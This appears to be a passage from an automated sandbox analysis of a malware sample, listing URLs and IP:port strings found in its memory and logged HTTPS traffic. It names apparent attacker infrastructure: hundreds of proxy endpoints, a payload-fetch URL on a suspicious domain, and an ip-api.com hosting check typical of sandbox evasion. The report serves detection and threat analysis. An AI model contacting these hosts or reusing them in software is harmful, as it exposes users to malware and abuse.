Source: Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB5305C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://95.182.78.3:5678://proxy
Source: Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB5488A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://95.216.17.79:3888
Source: Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB5488A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://95.216.17.79:3888://proxy
Source: Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB50EBC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://95.216.224.15:59792
Source: Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB50EBC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://95.216.224.15:59792://proxy
Source: Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB54514000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://95.217.104.21:24815
Source: Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB54514000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://95.217.104.21:24815://proxy
Source: Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB5236A000.00000004.00000800.00020000.00000000.sdmp, Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB527FF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://95.217.137.46:8080
Source: Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB52373000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://95.217.137.46:8080://proxy
Source: Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB5183C000.00000004.00000800.00020000.00000000.sdmp, Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB50A8E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://95.217.195.146:9999
Source: Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB51B9F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://95.217.195.146:9999://proxyx
Source: Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB54450000.00000004.00000800.00020000.00000000.sdmp, Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB54355000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://95.31.42.199:3629
Source: Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB5305C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://95.31.42.199:3629://proxy
Source: Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB531EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://95.31.5.29:54651
Source: Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB531EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://95.31.5.29:54651://proxy
Source: Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB515F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://95.38.95.40:8085
Source: Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB515F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://95.38.95.40:8085://proxy
Source: Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB50982000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://95.38.95.55:9050
Source: Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB50982000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://95.38.95.55:9050://proxy
Source: Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB527FF000.00000004.00000800.00020000.00000000.sdmp, Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB531EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://95.47.119.122:8080
Source: Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB527FF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://95.47.119.122:8080://proxyxDu
Source: Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB51B9F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://95.47.149.8:8080
Source: Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB51B9F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://95.47.149.8:8080://proxy
Source: Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB527FF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://95.56.254.1
Source: Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB527FF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://95.56.254.139:3128
Source: Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB527FF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://95.56.254.139:3128://proxy
Source: Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB525F2000.00000004.00000800.00020000.00000000.sdmp, Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB51B9F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://95.57.216.118:8080
Source: Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB51B9F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://95.57.216.118:8080://proxy
Source: Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB51B9F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://95.84.166.138:8080
Source: Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB51B9F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://95.84.166.138:8080://proxy
Source: Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB5488A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://96.113.158.126
Source: Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB5488A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://96.113.158.126://proxy
Source: Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB5488A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://96.113.158.126:80
Source: Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB53C3D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://96.113.159.162
Source: Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB53C3D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://96.113.159.162://proxy
Source: Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB53C3D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://96.113.159.162:80
Source: Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB51B9F000.00000004.00000800.00020000.00000000.sdmp, Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB531EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://96.80.235.1:8080
Source: Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB531EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://96.80.235.1:8080://proxyx
Source: Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB531EC000.00000004.00000800.00020000.00000000.sdmp, Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB5305C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://98.103.88.158:46104
Source: Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB531EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://98.103.88.158:46104://proxy
Source: Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB54C99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://98.162.25.23:4145
Source: Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB54C99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://98.162.25.23:4145://proxy
Source: Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB51B9F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://98.162.25.4:31654
Source: Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB51B9F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://98.162.25.4:31654://proxy
Source: Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB54514000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://98.162.25.7:31653
Source: Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB54514000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://98.162.25.7:31653://proxy
Source: Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB54DFB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://98.170.57.249:4145
Source: Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB54DFB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://98.170.57.249:4145%
Source: Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB54DFB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://98.170.57.249:4145://proxy
Source: Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB54514000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://98.175.31.195:4145
Source: Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB54514000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://98.175.31.195:4145://proxy
Source: Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB51B9F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://98.178.72.21:10919
Source: Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB51B9F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://98.178.72.21:10919://proxy
Source: Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB51B9F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://98.178.72.21:10919p
Source: Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB527FF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://98.181.137.
Source: Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB51B9F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://98.181.137.80:4145
Source: Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB51B9F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://98.181.137.80:4145://proxy
Source: Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB527FF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://98.181.137.83:4145
Source: Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB527FF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://98.181.137.83:4145://proxy
Source: Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB54514000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://98.188.47.150:4145
Source: Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB54514000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://98.188.47.150:4145://proxy
Source: Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB53756000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://batit.aliyun.com/alww.html?id=00000000003903578323
Source: Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB519A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://batit.aliyun.com/alww.html?id=00000000003908313874
Source: Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB52615000.00000004.00000800.00020000.00000000.sdmp, Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB5488A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://batit.aliyun.com/alww.html?id=00000000003908314037
Source: Your file name without extension goes here.exe, 00000001.00000002.2777172758.000001DB4ED09000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pki.goog/gtsr1/gtsr1.crl0M
Source: Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB5142F000.00000004.00000800.00020000.00000000.sdmp, Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB53C3D000.00000004.00000800.00020000.00000000.sdmp, Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB54514000.00000004.00000800.00020000.00000000.sdmp, Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB51468000.00000004.00000800.00020000.00000000.sdmp, Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB51106000.00000004.00000800.00020000.00000000.sdmp, Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB50EBC000.00000004.00000800.00020000.00000000.sdmp, Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB51473000.00000004.00000800.00020000.00000000.sdmp, Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB51293000.00000004.00000800.00020000.00000000.sdmp, Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB515B0000.00000004.00000800.00020000.00000000.sdmp, Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB51382000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crls.pki.goog/gts1p5/0jT46UX4DmY.crl0
Source: 77EC63BDA74BD0D0E0426DC8F80085060.1.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: jsc.exe, 00000005.00000002.2593731656.0000000002F31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com
Source: jsc.exe, 00000005.00000002.2593731656.0000000002F31000.00000004.00000800.00020000.00000000.sdmp, jsc.exe, 00000005.00000002.2587555159.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/line/?fields=hosting
Source: Your file name without extension goes here.exe, 00000001.00000002.2777172758.000001DB4ED09000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.pki.goog/gtsr100
Source: Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB5142F000.00000004.00000800.00020000.00000000.sdmp, Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB53C3D000.00000004.00000800.00020000.00000000.sdmp, Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB54514000.00000004.00000800.00020000.00000000.sdmp, Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB51468000.00000004.00000800.00020000.00000000.sdmp, Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB51106000.00000004.00000800.00020000.00000000.sdmp, Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB50EBC000.00000004.00000800.00020000.00000000.sdmp, Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB51473000.00000004.00000800.00020000.00000000.sdmp, Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB51293000.00000004.00000800.00020000.00000000.sdmp, Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB515B0000.00000004.00000800.00020000.00000000.sdmp, Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB51382000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.pki.goog/s/gts1p5/uFgUyufpvHQ01
Source: Your file name without extension goes here.exe, 00000001.00000002.2777718132.000001DB4ED37000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pki.go
Source: Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB5142F000.00000004.00000800.00020000.00000000.sdmp, Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB53C3D000.00000004.00000800.00020000.00000000.sdmp, Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB54514000.00000004.00000800.00020000.00000000.sdmp, Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB51468000.00000004.00000800.00020000.00000000.sdmp, Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB51106000.00000004.00000800.00020000.00000000.sdmp, Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB50EBC000.00000004.00000800.00020000.00000000.sdmp, Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB51473000.00000004.00000800.00020000.00000000.sdmp, Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB51293000.00000004.00000800.00020000.00000000.sdmp, Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB515B0000.00000004.00000800.00020000.00000000.sdmp, Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB51382000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pki.goog/repo/certs/gts1p5.der0_
Source: Your file name without extension goes here.exe, 00000001.00000002.2777172758.000001DB4ED09000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pki.goog/repo/certs/gtsr1.der04
Source: Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB50711000.00000004.00000800.00020000.00000000.sdmp, jsc.exe, 00000005.00000002.2593731656.0000000002F31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Amcache.hve.LOG1.9.dr, Amcache.hve.9.dr	String found in binary or memory: http://upx.sf.net
Source: Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB50B3B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.alcatel-sbell.com.cn/
Source: Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB51A4C000.00000004.00000800.00020000.00000000.sdmp, Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB52409000.00000004.00000800.00020000.00000000.sdmp, Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB51B32000.00000004.00000800.00020000.00000000.sdmp, Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB53518000.00000004.00000800.00020000.00000000.sdmp, Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB522D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.freecsstemplates.org
Source: Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB51A4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.squid-cache.org/Artwork/SN.png
Source: jsc.exe, 00000005.00000002.2587555159.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://account.dyn.com/
Source: Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB54514000.00000004.00000800.00020000.00000000.sdmp, Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB51B9F000.00000004.00000800.00020000.00000000.sdmp, Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB52326000.00000004.00000800.00020000.00000000.sdmp, Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB53A8B000.00000004.00000800.00020000.00000000.sdmp, Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB525F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://asocks.com/add-money/e694d447e9d328427188f733b14b6985
Source: Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB50711000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com
Source: Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB50711000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/TheSpeedX/PROXY-List/blob/master/http.txt
Source: Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB5488A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://heygirlisheeverythingyouwantedinaman.com
Source: Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB5488A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://heygirlisheeverythingyouwantedinaman.com/
Source: Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB54514000.00000004.00000800.00020000.00000000.sdmp, Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB51B9F000.00000004.00000800.00020000.00000000.sdmp, Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB52643000.00000004.00000800.00020000.00000000.sdmp, Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB52680000.00000004.00000800.00020000.00000000.sdmp, Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB527FF000.00000004.00000800.00020000.00000000.sdmp, Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB5227C000.00000004.00000800.00020000.00000000.sdmp, Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB531EC000.00000004.00000800.00020000.00000000.sdmp, Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB526B1000.00000004.00000800.00020000.00000000.sdmp, Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB5345C000.00000004.00000800.00020000.00000000.sdmp, Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB52703000.00000004.00000800.00020000.00000000.sdmp, Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB533B1000.00000004.00000800.00020000.00000000.sdmp, Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB525E3000.00000004.00000800.00020000.00000000.sdmp, Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB52593000.00000004.00000800.00020000.00000000.sdmp, Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB5305C000.00000004.00000800.00020000.00000000.sdmp, Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB5488A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://heygirlisheeverythingyouwantedinaman.com/get/65e5d6d32b19486
Source: Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB507E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://heygirlisheeverythingyouwantedinaman.com/get/65e5d6d32b1948693c16caa9
Source: Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB53852000.00000004.00000800.00020000.00000000.sdmp, Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB5488A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://heygirlisheeverythingyouwantedinaman.com:443
Source: Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB50E59000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ktxcomay.com.vn
Source: Your file name without extension goes here.exe, 00000001.00000002.2777172758.000001DB4ED09000.00000004.00000020.00020000.00000000.sdmp, Your file name without extension goes here.exe, 00000001.00000002.2777718132.000001DB4ED37000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pki.goog/repository/0
Source: Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB539E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.torproject.org/documentation.html

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53420 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54522 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53632 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51227 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51839
Source: unknown	Network traffic detected: HTTP traffic on port 52192 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54293 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54636 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54385 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53505 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54618 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51844
Source: unknown	Network traffic detected: HTTP traffic on port 53885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50114 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53512 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51543 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50555 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51634 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51739
Source: unknown	Network traffic detected: HTTP traffic on port 54401 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51850
Source: unknown	Network traffic detected: HTTP traffic on port 55029 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51232 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 54219 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53415 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51229
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54618
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51227
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51228
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55026
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53881
Source: unknown	Network traffic detected: HTTP traffic on port 54729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55029
Source: unknown	Network traffic detected: HTTP traffic on port 53049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53419
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51232
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53415
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55161
Source: unknown	Network traffic detected: HTTP traffic on port 54217 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52187 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52626 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53420
Source: unknown	Network traffic detected: HTTP traffic on port 52957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54636
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53424
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54634
Source: unknown	Network traffic detected: HTTP traffic on port 53875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50567 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54285 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54401
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54522
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54404
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54403
Source: unknown	Network traffic detected: HTTP traffic on port 53637 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54404 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51546
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51547
Source: unknown	Network traffic detected: HTTP traffic on port 54748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53048
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51541
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52630
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53047
Source: unknown	Network traffic detected: HTTP traffic on port 54376 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54377
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53045
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54376
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51543
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53049
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54382
Source: unknown	Network traffic detected: HTTP traffic on port 54382 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54385
Source: unknown	Network traffic detected: HTTP traffic on port 53508 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52883
Source: unknown	Network traffic detected: HTTP traffic on port 52992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54399 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52630 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53505
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53508
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53629
Source: unknown	Network traffic detected: HTTP traffic on port 50558 -> 443
